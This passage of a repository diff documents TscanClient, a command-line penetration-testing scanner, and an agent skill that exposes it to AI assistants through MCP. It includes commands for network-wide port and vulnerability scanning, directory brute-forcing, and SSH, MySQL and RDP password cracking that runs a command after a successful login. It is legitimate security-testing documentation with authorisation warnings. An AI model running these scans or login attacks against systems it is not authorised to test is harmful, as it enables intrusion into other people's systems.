`TscanClient-v2.9.5`, `soft`) and media under `images/` when uploaded + +## Not a full mirror +No upstream git history, non-default branches, or tags. +Upstream `main` at import ls-remote: `f405040e50b71cf8d210e377f8bb7069fb883577` diff --git a/TscanClient.md b/TscanClient.md new file mode 100644 index 0000000..55962db --- /dev/null +++ b/TscanClient.md @@ -0,0 +1,401 @@ + + +# TscanClient + +由于`无影(TscanPlus)`是基于`webview2`环境,所以在有些使用场景上相对受限,比如一些windows服务器或者linux命令行等,而且图形化占用资源相对较高,现在刚好正值`无影(TscanPlus)`正式版上线一年左右,Star数量恰好2k,应广大师傅需求便有了这版`TscanClient`。 + +`TscanClient`是`无影(TscanPlus)`的命令行版本,保留了`无影(TscanPlus)`的核心功能,包括端口扫描、URL指纹识别、POC漏洞验证、弱口令破解、目录扫描、JS敏感信息收集、子域名枚举以及网络资产测绘等功能模块。 + +`TscanClient`与`无影(TscanPlus)`可以共享配置文件`config.yaml` 和数据库 `config.db`,且命令行版本能支持更多平台和系统,使用更加灵活便捷。 + +## 功能特点 + +- **多功能集成**:提供端口扫描、漏洞验证、弱口令检测等多种安全检测功能,一站式解决安全评估需求 +- **高性能扫描**:采用高并发设计,支持大规模目标快速扫描(启发式扫描) +- **精准识别**:集成丰富的指纹库和POC库,准确识别Web应用和常见漏洞 +- **可定制化**:支持自定义扫描策略,灵活配置扫描参数 +- **跨平台兼容**:命令行版本支持更多操作系统平台,使用更加灵活 +- **资源共享**:与TscanPlus共享配置文件和数据库,实现数据互通 +- **友好输出**:结果展示清晰直观,支持分离进度条显示,方便结果分析 + +## 核心功能模块 + +TscanClient 包含以下八个核心功能模块: + +1. 端口扫描 + +2. URL指纹识别 + +3. POC漏洞验证 + +4. 弱口令破解 + +5. 目录扫描 + +6. JS敏感信息收集 + +7. 子域名枚举 + +8. 网络资产测绘 + +## 适用场景 + +- 内网安全评估和资产梳理 +- 外部渗透测试前的信息收集 +- 企业安全基线检查 +- 安全漏洞应急响应 +- 自动化安全扫描流程 +- 服务器环境下的批量扫描任务 + + +## 参数详解与使用示例 + +### 各功能模块的使用 + +命令行格式: + +``` +TscanClient -m port,url,poc,crack,dir,js,domain,cyber [参数] +``` + +其中`-m`是最重要的功能选择参数,控制是否开启`端口扫描(port)、web探测(url)、Poc检测(poc)、密码破解(crack)、目录枚举(dir)、JS敏感信息(js)、子域名枚举(domain)、空间测绘(cyber)`八大功能。 + +
+ +多功能的联动等同于`无影(TscanPlus)`的项目管理,当八项功能都开启时,会以下面的流程进行检测,**前一项检测的所有结果都会输入给下一项检测作为输入**。 + +**空间测绘(cyber) -> 子域名枚举(domain) -> 端口扫描(port) -> 密码破解(crack) -> web探测(url) -> Poc检测(poc) -> 目录枚举(dir) -> JS敏感信息(js)** + +**扫描结果:** + +1、`TscanClient`在根目录下会产生`TscanClient.txt`的日志文件,包含所有的日志和过程结果 + +2、`TscanClient`还会将八大功能模块的结果分别存放在独立的txt文档中,方便结果查看。 + +3、`TscanClient`还会把所有结果保存到`config.db`中,该文件可以替换到`无影(TscanPlus)`的配置目录下,使用`无影(TscanPlus)`打开再利用。 + +除各单项功能外,最常用的几种组合模式: + +1、端口扫描 `-m port,poc,crack` + +2、web探测 `-m url,poc,dir,js` + +3、子域名枚举 `-m domain,port,url,poc` + +注意:`如果资产太多,尽量不要开启太多功能,以免耗时太久或耗尽CPU资源。 ` + +### 通用参数 + +| 参数 | 说明 | 默认值 | +|------------|-----------------------------------------------|-------------------| +| `-pr` | 项目名称,可自定义,方便在数据库中保存 | `Default` | +| `-m` | 任务模块,可选:port,url,poc,crack,dir,js,domain,cyber | `port,url,poc` | +| `-o` | 结果输出文件 | `TscanClient.txt` | +| `-no` | 禁用结果保存 | `false` | +| `-nocolor` | 禁用彩色输出 | `false` | +| `-proxy` | 设置HTTP或socks5代理,注:端口扫描只能使用socks5代理 | - | + +**通用参数使用示例:** + +```bash +# 使用默认端口进行ip扫描,同时开启指纹匹配poc和弱口令自动破解 +TscanClient -h 192.168.1.1/24 + +# 对URL地址批量进行扫描,并进行poc检测和目录检测 +TscanClient -m url,poc,dir,js -uf urls.txt + +#对子域名进行枚举,并对发现的子域名进行端口扫描、poc检测、url指纹识别 +TscanClient -m domain,port,url,poc -d example.com + +# 指定项目名称并开启多个模块 +TscanClient -pr MyProject -m port,url,poc -h 192.168.1.1 + +# 指定自定义输出文件 +TscanClient -h 192.168.1.1 -o scan-results.txt + +# 禁用彩色输出和结果保存 +TscanClient -h 192.168.1.1 -nocolor -no +``` + +
+ +### 端口扫描参数(port模块) + +| 参数 | 说明 | 默认值 | +| ---------- | --------------------------------------------------------- | ---------- | +| `-h` | 目标主机IP,例如: `192.168.1.1`,`192.168.1.1/24` | - | +| `-hn` | 排除的主机范围,例如: -hn `192.168.1.1/24` | - | +| `-p` | 端口配置,例如: `22`或`1-65535`或`22,80,3306` | Top100端口 | +| `-pa` | 在默认端口基础上添加端口,`-pa 3389` | - | +| `-hf` | 主机列表文件 | - | +| `-portf` | 端口列表文件 | - | +| `-t` | 线程数量 | `600` | +| `-nosmart` | 禁用启发式大网段探测(默认针对C段以上CIDR启用启发式扫描) | `false` | +| `-si` | 设置启发式扫描时要探测的ip | `1,254` | +| `-sp` | 设置启发式扫描时端口探针 | `icmp,80` | +| `-time` | 超时时间(秒) | `3` | +| `-np` | 禁用存活探测 | `false` | + +**端口扫描使用示例:** + +```bash +# 扫描主机,使用默认端口和线程 +TscanClient -m port -h 192.168.1.1/24 + +# 扫描单个主机的指定端口 +TscanClient -m port -h 192.168.1.1 -p 80,443,3306 + +# 扫描C段网络上的常用Web端口,设置更高线程数 +TscanClient -m port -h 192.168.1.0/24 -p 80,443,8080,8443 -t 1000 + +# 使用主机列表文件进行扫描 +TscanClient -m port -hf hosts.txt -p 22,80,443 + +# 在默认端口基础上添加自定义端口 +TscanClient -m port -h 192.168.1.1 -pa 8080,9000 +``` + +
+ +### Web应用扫描参数(url模块) + +| 参数 | 说明 | 默认值 | +|-----------|---------------------------------------|--------| +| `-u` | 目标URL | - | +| `-uf` | URL列表文件 | - | +| `-cookie` | 设置Cookie | - | +| `-wt` | Web请求超时时间 | `10` | +| `-proxy` | 设置HTTP或socks5代理 | - | +| `-finger` | 设置web指纹策略,例如:-finger min 或 tiny 或 all | `tiny` | + +**Web应用扫描使用示例:** + +```bash +# 指定URL进行Web指纹识别 +TscanClient -m url -u http://example.com + +# 从文件加载URL列表并选择全量指纹 +TscanClient -m url,poc -uf urls.txt -finger all + +# 设置Cookie进行认证扫描 +TscanClient -m url -u http://example.com -cookie "session=123456" + +# 通过代理进行扫描 +TscanClient -m url,poc -u http://example.com -proxy http://127.0.0.1:8080 + +# 增加Web请求超时时间 +TscanClient -m url,poc -u http://example.com -wt 10 +``` + +
+ +### POC漏洞验证参数(poc模块) + +| 参数 | 说明 | 默认值 | +|-------------|--------------------------------------------|-------------| +| `-u` | 目标URL | - | +| `-uf` | URL列表文件 | - | +| `-pocpath` | POC文件路径,和`无影(TscanPlus)`一样,仅支持`xray 1.0`格式的Poc | - | +| `-pocname` | 使用包含指定名称的POC,例如: `-pocname weblogic` | - | +| `-full` | 不匹配指纹,完整POC扫描,默认匹配指纹后检测poc | `false` | +| `-num` | POC并发数 | `20` | +| `-poclevel` | 设置使用的POC级别,默认1+2+3+4+5 | `1+2+3+4+5` | +| `-poclist` | 打印所有POC列表 | `false` | +| `-pd` | 当poc检测成功时显示数据包 | `false` | + +**POC漏洞验证使用示例:** + +```bash +# 对目标进行默认POC验证 +TscanClient -m poc -u http://example.com + +# 使用指定POC检测漏洞,在检测到Poc时打印请求和响应数据包 +TscanClient -m poc -uf url.txt -pocname weblogic -pd + +# 使用自定义POC路径 +TscanClient -m poc -uf url.txt -pocpath /path/to/pocs + +# poc不匹配指纹,会检测所有内置poc +TscanClient -m poc -u http://example.com -full + +# 调整POC并发数和级别 +TscanClient -m poc -u http://example.com -num 50 -poclevel 1+2 + +# 打印所有可用POC列表 +TscanClient -poclist + +``` + +
+ +### 弱口令检测参数(crack模块) + +| 参数 | 说明 | 默认值 | +|----------|----------------------------|----------| +| `-h` | 目标ip | - | +| `-hf` | ip列表文件 | - | +| `-br` | 密码爆破线程数 | `1` | +| `-s` | 暴力破解的服务,例如: -s ssh,mysql | `all` | +| `-user` | 用户名,不指定时使用内置字典 | - | +| `-pwd` | 密码,不指定时使用内置字典 | - | +| `-c` | 执行命令(支持ssh、wmiexec、mysql等) | `whoami` | +| `-userf` | 用户名字典文件 | - | +| `-pwdf` | 密码字典文件 | - | + +**弱口令检测使用示例:** + +```bash +# 对SSH服务进行弱口令检测 +TscanClient -m crack -h 192.168.1.1 -p 22 -s ssh + +# 使用自定义字典进行MySQL密码破解 +TscanClient -m crack -hf ip.txt -p 3306 -s mysql -userf users.txt -pwdf pass.txt + +# 增加爆破线程数 +TscanClient -m crack -h 192.168.1.1 -p 3389 -s rdp -br 5 + +# 指定用户名和密码进行爆破 +TscanClient -m crack -h 192.168.1.1 -p 22 -s ssh -user root,admin -pwd 123456,password + +# 爆破成功后执行命令 +TscanClient -m crack -h 192.168.1.1 -p 22 -s ssh -c "id" +``` + +
+ +### 子域名枚举参数(domain模块) + +| 参数 | 说明 | 默认值 | +|--------|-------------------|---------| +| `-d` | 域名枚举目标,支持逗号分隔 | - | +| `-df` | 域名枚举目标文件 | - | +| `-dc` | 域名枚举字典,需完整绝对路径 | - | +| `-api` | 域名枚举是否使用API,默认不启用 | `false` | + +**子域名枚举使用示例:** + +**子域名枚举时默认是开启API查询的,但API的key需要在`config.yaml`文件中手动配置,也可把`无影(TscanPlus)`的配置文件拷贝过来直接使用。 +** + +```bash +# 对单个域名进行子域名枚举 +TscanClient -m domain -d example.com + +# 对多个域名进行子域名枚举,并启用api检索,api的key需自行在config.yaml文件中配置 +TscanClient -m domain -d example.com,example.org -api + +# 使用自定义字典进行子域名枚举 +TscanClient -m domain -df domains.txt -dc /path/to/subdomains.txt + +# 子域名枚举后进行指纹识别和漏洞扫描 +TscanClient -m domain,url,poc -d example.com +``` + +
+ +### 目录扫描参数(dir模块) + +| 参数 | 说明 | 默认值 | +|------|------------------------------|-----| +| `-u` | URL地址 | - | +| `-uf` | URL列表文件 | - | +| `-ds` | 目录枚举线程设置 | 20 | +| `-dd` | 目录枚举字典,需完整绝对路径,不指定时使用内置10k字典 | - | + +**目录扫描使用示例:** + +```bash +# 对目标URL进行目录扫描 +TscanClient -m dir -u http://example.com + +# 使用自定义字典进行目录扫描 +TscanClient -m dir -u http://example.com -dd /path/to/dirlist.txt + +# 设置目录扫描线程数 +TscanClient -m dir -u http://example.com -ds 50 +``` + +
+ +### JS敏感信息收集(js模块) + +| 参数 | 说明 | 默认值 | +|-----------|-----------------|------| +| `-u` | 目标URL | - | +| `-uf` | URL列表文件 | - | +| `-cookie` | 设置Cookie | - | +| `-wt` | Web请求超时时间 | `10` | +| `-proxy` | 设置HTTP或socks5代理 | - | + +**JS敏感信息收集使用示例:** + +```bash +./TscanClient -m js -u https://example.com -wt 10 +``` + +此命令对example.com进行JS文件敏感信息收集,Web请求超时10秒。 + +### 空间测绘参数(cyber模块) + +| 参数 | 说明 | 默认值 | +|-------|-----------------------------------------------------|-----| +| `-ck` | 空间测绘查询语句,例如:-ck domain="tidesec.com",多个关键词可用逗号(,)分隔 | - | + +**空间测绘使用示例:** + +**空间测绘API的key需要在`config.yaml`文件中手动配置,也可把`无影(TscanPlus)`的配置文件拷贝过来直接使用。** + +```bash +# 查询特定域名的资产 +TscanClient -m cyber -ck domain="example.com" + +# 查询特定IP段的资产 +TscanClient -m cyber -ck ip="192.168.1.0/24" + +# 查询特定服务的资产 +TscanClient -m cyber -ck service="nginx" + +# 空间测绘后进行进一步扫描 +TscanClient -m cyber,port,poc -ck domain="example.com" +``` + +### 批量扫描示例 + +```bash +# 对C段进行全面扫描 +TscanClient -h 192.168.1.0/24 -m port,url,poc,crack + +# 从URL文件加载并进行全面扫描 +TscanClient -uf target-urls.txt -m url,poc,dir,js +``` + +### 综合扫描示例 + +```bash +# 端口扫描+指纹识别+POC检测+弱口令破解 +TscanClient -h 192.168.1.0/24 -p 1-65535 -t 1000 -m port,url,poc,crack + +# 全功能扫描 +TscanClient -h 192.168.1.0/24 -d example.com -m port,url,poc,crack,dir,js,domain,cyber +``` + +
+ +## 与TscanPlus的关系 + +TscanClient 是 TscanPlus 的命令行版本,两者共享核心功能和检测引擎: + +- TscanClient 与 TscanPlus 共享配置文件 config.yaml 和数据库 config.db +- TscanClient 具有更好的跨平台兼容性,支持更多操作系统环境 +- TscanClient 适合自动化脚本集成和服务器环境使用 +- TscanPlus 提供图形界面,更适合需要可视化展示的环境 + +## 使用注意事项 + +- 扫描前请确保已获得授权,未经授权的扫描行为可能违反法律法规 +- 建议先使用较小的线程数和端口范围进行测试,避免对目标系统造成过大负载 +- 针对生产环境进行扫描时,建议在非业务高峰期进行 +- 使用代理进行扫描时,请确保代理配置正确且稳定 + +更多信息可参考 TscanPlus 项目:[https://github.com/TideSec/TscanPlus](https://github.com/TideSec/TscanPlus) + diff --git a/TscanPlus-skill/README.md b/TscanPlus-skill/README.md new file mode 100644 index 0000000..4ba6f21 --- /dev/null +++ b/TscanPlus-skill/README.md @@ -0,0 +1,115 @@ +# TscanPlus Agent Skill(skillpack) + +本目录为 **唯一权威** Skill 来源,与 IDE/产品无关,供 MCP Agent、GUI 导出 zip、Cursor 等使用。 + +| 文件 | 说明 | +|------|------| +| `SKILL.md` | Agent 行为说明(授权、八大模块、工具参数、MCP 接入、汇报格式) | +| `examples.md` | 各模块 MCP 对话与参数示例 | +| `mcp-config-example.json` | MCP `mcpServers` 配置示例 | + + +MCP 服务配置(`mcp stdio` / `mcp serve`)见 `SKILL.md` 正文。 + +--- + +## 获取 Skill 包 + +请用下列方式之一取得与 `TscanPlus-skill` 相同的文件(`SKILL.md`、`examples.md`、`README.md`、`mcp-config-example.json`): + +| 方式 | 说明 | +|------|------| +| **GUI 导出(推荐)** | TscanPlus → **AI 辅助** → **MCP 服务配置** → **导出 Skill 模板**,得到 `TscanPlus-skill.zip`,解压到任意目录 | +| **仓库源码** | 使用 `TscanPlus-skill/` 下文件,或克隆项目后从该目录复制 | + +解压 zip 后目录示例: + +```text +tscanplus-mcp-skill/ + SKILL.md + examples.md + README.md + mcp-config-example.json +``` + +再按下方「各宿主如何引用」**导入或手工配置**;仅配置 MCP、不导入 Skill 时见文末「无 Skill、仅 MCP」。 + +--- + +## 各宿主如何引用 + + +### Claude Desktop + +**Skill:** 从 zip 解压得到 `SKILL.md`,将「授权」至「排错」章节复制到 **Settings → Profile → Custom Instructions**(无内置 Skill 目录,只能手工粘贴)。 + +**MCP:** 在 `claude_desktop_config.json` 的 `mcpServers` 中加入 `stdio` 或 `url`(可参考 `mcp-config-example.json`),修改后重启应用。 + +### VS Code / JetBrains 等(支持 MCP 的扩展) + +**Skill:** 将解压后的 `SKILL.md` 要点写入 `.github/copilot-instructions.md` 或扩展指定的 `AGENTS.md` / rules 目录。 + +**MCP:** 在扩展 MCP 设置中添加 `tscanplus`,JSON 结构见 `mcp-config-example.json`。 + +### Cline、Roo Code、Continue 等 IDE 插件 + +**Skill:** 将解压后的 `SKILL.md` 全文或核心章节粘贴到插件的 **Custom Rules / .clinerules / 系统提示**;`examples.md` 可作参考,不必全部导入。 + +**MCP:** 插件中添加 MCP Server(stdio 或 sse),参数见 `SKILL.md` 或 `mcp-config-example.json`。 + + +### Cursor(Cursor IDE / Cursor CLI) + +**Skill(下载后导入或手工配置)** + +1. **获取文件**:GUI 导出 `TscanPlus-skill.zip` 并解压(见上文「获取 Skill 包」)。 +2. **创建目录**(二选一): + - **当前项目**:`<你的项目根>/.cursor/skills/tscanplus/` + - **全局(所有项目)**:`~/.cursor/skills/tscanplus/`(Windows 为 `%USERPROFILE%\.cursor\skills\tscanplus\`) +3. **复制文件**:将解压得到的 `SKILL.md` 放入该目录;建议同时放入 `examples.md`(Agent 可读同目录示例)。 +4. **重载**:保存后重启 Cursor,或在设置中重载窗口,使 Skill 生效。 +5. **使用**:对话输入 `@tscanplus` 引用技能,或依赖 `SKILL.md` 头部 `description` 自动匹配。 + +目录结构示例: + +```text +.cursor/skills/tscanplus/ + SKILL.md + examples.md # 可选,建议保留 +``` + +**MCP** + +- 全局:`~/.cursor/mcp.json` +- 项目:`<仓库>/.cursor/mcp.json` + +```json +{ + "mcpServers": { + "tscanplus": { + "command": "/绝对路径/TscanPlus", + "args": ["mcp", "stdio"] + } + } +} +``` + +### 自托管 Agent / 其他 MCP 客户端 + +1. **MCP:** 按 `mcp-config-example.json` 配置 `mcpServers`,推荐 `stdio`。 +2. **行为:** 将解压后的 `SKILL.md` 作为系统提示附件,或写入自有 Agent 策略 YAML。 +3. **HTTP:** 默认 Streamable HTTP:`TscanPlus mcp serve -listen 127.0.0.1:8088`,客户端填 `http://127.0.0.1:8088/mcp`;旧客户端可用 `-transport sse`,填 `http://127.0.0.1:8088/sse`。 + +### 无 Skill、仅 MCP + +仅配置 MCP 时 Agent 仍可调用工具,但可能缺少授权策略、默认 `MCP` 项目语义与汇报格式。建议至少合并 `SKILL.md` 的「授权」「项目名 MCP」「调用后如何汇报」三节。 + +--- + +## 文件对照 + +| 用途 | 开发者(仓库内) | 普通用户(导出 zip 后) | +|------|------------------|-------------------------| +| Skill 源文件 | `TscanPlus-skill/SKILL.md` | 解压目录中的 `SKILL.md` | +| 示例 | `TscanPlus-skill/examples.md` | 解压目录中的 `examples.md` | +| Cursor 生效位置 | `.cursor/skills/tscanplus/SKILL.md` | 自行复制到 `~/.cursor/skills/tscanplus/` 或项目 `.cursor/skills/tscanplus/` | diff --git a/TscanPlus-skill/SKILL.md b/TscanPlus-skill/SKILL.md new file mode 100644 index 0000000..0ae7f37 --- /dev/null +++ b/TscanPlus-skill/SKILL.md @@ -0,0 +1,375 @@ +--- +name: tscanplus +description: >- + Operates TscanPlus security scanner via MCP tools or CLI for authorized targets only. + Use when the user mentions TscanPlus, port/URL/POC/subdomain scanning, MCP integration, + ip_scan, tscan_scan, or recon on IPs, domains, or URLs in any AI assistant with MCP support. +--- + +# TscanPlus 扫描助手 + +通过 **MCP 工具**(首选)或 **CLI** 驱动 TscanPlus(与无影 GUI 版共享 `config.yaml`、`config.db`)。参数语义对齐 **TscanClient** 命令行版(`-m` 八大模块、`-h/-u/-d/-ck` 等)。 + +> 本文档为 Agent Skill,可放入宿主技能目录,或复制章节到自定义系统提示。对话示例见 [examples.md](examples.md)。 + +## 授权(强制) + +- 仅对用户**明确拥有书面授权**的目标扫描(自有 lab、渗透项目 scope 内)。 +- 未获授权时:**拒绝扫描**,并说明原因。 +- 默认避免:全端口 `1-65535`、大范围 C 段、生产环境、开启 `poc_check`/`pwd_check`/`poc_full`,除非用户明确要求。 +- 资产过多时不要一次开启全部模块,以免耗时过久或占满 CPU。 +- 扫描前用一句话复述:目标、模块、是否含 POC/爆破。 + +## 产品能力概览 + +TscanPlus / CLI 集成八大安全检测模块: + +| 模块 | CLI `-m` | MCP 单工具 | 说明 | +|------|----------|------------|------| +| 端口扫描 | `port` | `ip_scan` | IP/CIDR、存活探测、端口、可选服务指纹/POC/弱口令 | +| Web 指纹 | `url` | `url_scan` | URL 指纹识别、Title、可选联动 POC | +| POC 验证 | `poc` | `poc_scan` | xray 1.0 格式 POC,可按指纹或全量 | +| 弱口令 | `crack` | `pwd_crack` | 多协议爆破,`targets` 为 `host:port` | +| 目录枚举 | `dir` | `dir_scan` | 路径爆破,可自定义字典 | +| JS 敏感信息 | `js` | `js_scan` | JS 文件中密钥、接口等 | +| 子域名 | `domain` | `subdomain_scan` | 字典 + 可选 API(key 在 config.yaml) | +| 空间测绘 | `cyber` | `cyber_search` | Hunter/FOFA 等(引擎在 config.yaml) | + +**多模块联动**使用 `tscan_scan`,`modules` 对应 `-m`,流程与 GUI 项目管理一致: + +**cyber → domain → port → crack → url → poc → dir → js** + +前一项的**全部结果**会作为下一项的输入。常用组合(授权 lab 内): + +| 场景 | `modules` / CLI `-m` | +|------|----------------------| +| 内网主机摸底 | `port,url,poc` 或 `port,poc,crack` | +| Web 专项 | `url,poc,dir,js` | +| 域名资产 | `domain,port,url,poc` | +| 测绘后深挖 | `cyber,port,url,poc` | + +## MCP 工具选型 + +| 用户意图 | 优先工具 | 说明 | +|----------|----------|------| +| 单 IP/CIDR 看端口 | `ip_scan` | `target` 必填;先小范围 `ports` | +| 多目标只扫端口+弱口令+POC | `ip_scan` 或 `tscan_scan` | `ip_scan` 用 `pwd_check`/`poc_check` | +| 一批 URL 指纹/Web | `url_scan` | `targets` 逗号分隔 | +| 已知 URL 打 POC | `poc_scan` | 慎用 `poc_full` | +| 弱口令 | `pwd_crack` | `targets`: `192.168.1.1:22,192.168.1.1:3306` | +| 目录 / JS | `dir_scan` / `js_scan` | 需完整 URL | +| 子域名 | `subdomain_scan` | `domains`;API 需 config | +| 空间测绘 | `cyber_search` | `query` 对齐 `-ck` | +| 多阶段、结果传递 | `tscan_scan` | 大任务可分阶段执行 | + +## 通用参数(MCP / CLI) + +| MCP / 含义 | CLI | 默认 | 说明 | +|------------|-----|------|------| +| `project` | `-pr` | 未指定→`MCP` | 写入 `config.db` 的项目名;见下文「项目 MCP」 | +| `fresh_project` | — | `false` | 指定 `project` 时是否先清空该项目 | +| `proxy` | `-proxy` | 配置全局代理 | HTTP/SOCKS5;**端口扫描仅 SOCKS5** | +| `include_results` | — | `true` | 响应 JSON 是否带 `data.results` | +| `result_limit` | — | `200` | 每类结果最多条数,最大 `2000` | +| `ping_scan` | 未用 `-np` 即探测 | `true` | 存活探测 | +| `smart_scan` | 未用 `-nosmart` | `true` | 大网段启发式扫描(`tscan_scan`) | +| `timeout` | `-time` | `3` | 通用超时(秒) | +| `web_timeout` | `-wt` | `10` | Web 超时(秒) | + +**结果存放:** + +- MCP 工具返回 JSON(`data.results`、`data.counts`)。 +- CLI 写日志 `TscanPlus-Result.txt` 及各模块 txt,并写入 **`config.db`**(可与 GUI 共用)。 + +## 项目名 `MCP` 的行为 + +| 情况 | 行为 | +|------|------| +| 未传 `project` | 使用 **`MCP`**,**本次工具调用前**自动清空该项目数据 | +| 传 `project=自定义名` | 默认**追加**;清空则 `fresh_project=true` | + +**GUI 注意:** 单工具(如 `ip_scan`)可能不在项目列表显示行,但 `ipscan` 等表可有 `Project='MCP'`;`tscan_scan` 会在 `project` 表登记。 + +--- + +## 各模块参数(MCP ↔ CLI) + +### 1. 端口扫描 `ip_scan`(`port`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `target` | `-h` | 必填 | `192.168.1.1`、`192.168.1.0/24`、范围 | +| `ports` | `-p` | `Top100` | `22`、`1-65535`、`22,80,443` | +| `thread` | `-t` | `600` | 并发 | +| `timeout` | `-time` | `3` | 秒 | +| `ping_scan` | 默认探测 / `-np` 关闭 | `true` | 存活探测 | +| `ip_finger` | 服务指纹 | 配置项 | 服务识别 | +| `poc_check` | 联动 POC | `false` | 开放端口转 URL 后 POC | +| `pwd_check` | 联动 crack | `false` | 弱口令 | +| `proxy` | `-proxy` | — | 建议 SOCKS5 | + +`tscan_scan` 额外:`ports_add`→`-pa`,`exclude_hosts`→`-hn`,`smart_scan`→`-nosmart` 取反。 + +### 2. Web 指纹 `url_scan`(`url`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `targets` | `-u` / `-uf` 内容 | 必填 | URL,逗号或换行分隔 | +| `thread` | URL 线程 | `50` | | +| `web_timeout` | `-wt` | `10` | 秒 | +| `finger` | `-finger` | `tiny` | `tiny` / `min` / `all` | +| `cookie` | `-cookie` | — | 认证场景 | +| `poc_check` | 联动 POC | `false` | | +| `proxy` | `-proxy` | — | | + +### 3. POC `poc_scan`(`poc`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `targets` | `-u` | 必填 | HTTP(S) URL | +| `thread` | `-num` | `20` | POC 并发 | +| `poc_full` | `-full` | `false` | `true` 时不匹配指纹,扫全部 POC | +| `poc_name` | `-pocname` | — | 如 `weblogic` | +| `poc_level` | `-poclevel` | `1+2+3+4+5` | 级别过滤 | +| `proxy` | `-proxy` | — | | + +POC 路径在 `config.yaml`(xray 1.0 格式),与 GUI 一致。 + +### 4. 弱口令 `pwd_crack`(`crack`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `targets` | `-h` | 必填 | **`host:port`**,逗号分隔 | +| `services` | `-s` | `all` | `ssh,mysql,rdp` 等 | +| `user` | `-user` | 内置字典 | 逗号分隔多个 | +| `pwd` | `-pwd` | 内置字典 | | +| `cmd` | `-c` | `whoami` | 成功后执行命令 | +| `thread` | `-br` | `1` | 爆破线程 | +| `timeout` | `-time` | `3` | | + +### 5. 子域名 `subdomain_scan`(`domain`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `domains` | `-d` | 必填 | 逗号分隔主域 | +| `sub_api` | `-api` | `false` | API key 在 `config.yaml` | +| `sub_dict` | `-dc` | 内置 | **绝对路径** | +| `ports` | 联动扫描端口 | `80,443` | 发现子域后的端口 | +| `proxy` | `-proxy` | — | | + +### 6. 目录 `dir_scan`(`dir`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `urls` | `-u` | 必填 | 基 URL | +| `thread` | `-ds` | `20` | | +| `dict` | `-dd` | 内置 10k | **绝对路径** | +| `timeout` | `-time` | `3` | | +| `proxy` | `-proxy` | — | | + +### 7. JS `js_scan`(`js`) + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `urls` | `-u` | 必填 | | +| `timeout` | `-time` / Web | `3` | | +| `proxy` | `-proxy` | — | | + +### 8. 空间测绘 `cyber_search`(`cyber`) + +与 GUI「空间测绘」页字段下拉一致;`field` 决定如何把 `query` 转成各引擎 API 语句。 + +| MCP 参数 | CLI | 默认 | 说明 | +|----------|-----|------|------| +| `query` | `-ck` | 必填 | 见下表「query 写法」 | +| `field` | 查询类型 | `domain` | 见下表 | +| `engines` | — | config 已启用 | 逗号分隔引擎名 | +| `project` / `fresh_project` | `-pr` | `MCP` / `false` | 同通用参数 | +| `include_results` / `result_limit` | — | `true` / `200` | 同通用参数 | + +**`field` 可选值(对齐 GUI):** + +| `field` | GUI 名称 | `query` 示例(不加引号) | +|---------|----------|-------------------------| +| `domain` | 域名 | `example.com` | +| `ip` | IP 地址 | `1.1.1.1`、`192.168.1.0/24` | +| `port` | 端口 | `80`、`3306` | +| `product` | 应用 | `nginx`、`apache` | +| `title` | 标题 | `管理后台` | +| `service` | 服务 | `mysql`、`ssh` | +| `cert` | 证书 | 证书关键词 | +| `icp` | 备案 | 备案号或主体名 | +| `body` | Body | 页面正文关键词 | +| `icon` | Icon | Icon URL 或 hash | +| `custom` | 自定义 | 各平台完整语法,如 `domain="example.com" && port="443"` | + +**用法要点:** + +- **推荐**:选具体 `field`,`query` 只填关键词(与 GUI 搜索框相同),不要写 `domain="xxx"` 这类包装语法。 +- **`custom`**:各测绘平台语法不同,一般无法跨平台通用;需自行按平台调试。 +- **多关键词**:逗号分隔,如 `example.com,example.net`(与 GUI 一致)。 +- CLI `-ck` 常写完整语句时,MCP 应设 `field=custom`;或 `-ck example.com` 配合默认 `domain`。 + +`tscan_scan` 中用 `cyber_query` 传查询内容,`cyber_field` 传上表字段类型(默认 `domain`)。 + +### 9. 综合扫描 `tscan_scan` + +在单模块参数基础上,常用额外字段: + +| MCP 参数 | CLI | 说明 | +|----------|-----|------| +| `targets` | `-h/-u/-d/-ck` 等 | 按 `modules` 解析目标 | +| `modules` | `-m` | 默认 `port,url,poc` | +| `domains` | `-d` | `domain` 模块主域 | +| `cyber_query` | `-ck` | 测绘语句 | +| `ports` / `ports_add` | `-p` / `-pa` | | +| `exclude_hosts` | `-hn` | | +| `thread` / `url_thread` / `poc_thread` / `dir_thread` | `-t` 等 | | +| `finger` | `-finger` | | +| `poc_full` / `poc_name` / `poc_level` | POC 相关 | | +| `crack_*` | `-s/-user/-pwd/-c/-br` | 弱口令 | +| `sub_api` / `sub_dict` | 子域 | | +| `dir_dict` | `-dd` | | + +--- + +## 推荐参数(默认保守) + +**单主机端口(首选入门):** + +```yaml +tool: ip_scan +target: "10.0.0.1" +ports: "80,443,8080,8443,22" +ping_scan: true +ip_finger: false +poc_check: false +pwd_check: false +thread: 200 +timeout: 3 +include_results: true +result_limit: 100 +``` + +**内网 C 段(lab,控制范围):** + +```yaml +tool: tscan_scan +targets: "192.168.1.0/24" +modules: "port,url" +ports: "Top100" +thread: "300" +ping_scan: true +smart_scan: true +include_results: true +result_limit: 200 +``` + +**仅在用户明确要求时启用:** `poc_check`、`pwd_check`、`poc_full`、`modules` 含 `poc`/`crack`、全端口。 + +--- + +## MCP 接入 + +### stdio(推荐) + +```json +{ + "mcpServers": { + "tscanplus": { + "command": "/绝对路径/TscanPlus", + "args": ["mcp", "stdio"] + } + } +} +``` + +### Streamable HTTP(推荐远程传输) + +```bash +TscanPlus mcp serve -listen 127.0.0.1:8088 +# 或显式指定:-transport streamable +``` + +```json +{ + "mcpServers": { + "tscanplus": { + "url": "http://127.0.0.1:8088/mcp" + } + } +} +``` + +### HTTP+SSE(旧版兼容) + +```bash +TscanPlus mcp serve -listen 127.0.0.1:8088 -transport sse +``` + +```json +{ + "mcpServers": { + "tscanplus": { + "url": "http://127.0.0.1:8088/sse" + } + } +} +``` + +GUI:**AI 辅助 → MCP 服务配置** 可选择传输模式(Streamable HTTP / HTTP+SSE),启停服务并导出 Skill 模板 zip。 + +各宿主引用见 [README.md](README.md)。 + +--- + +## 调用后如何汇报 + +解析 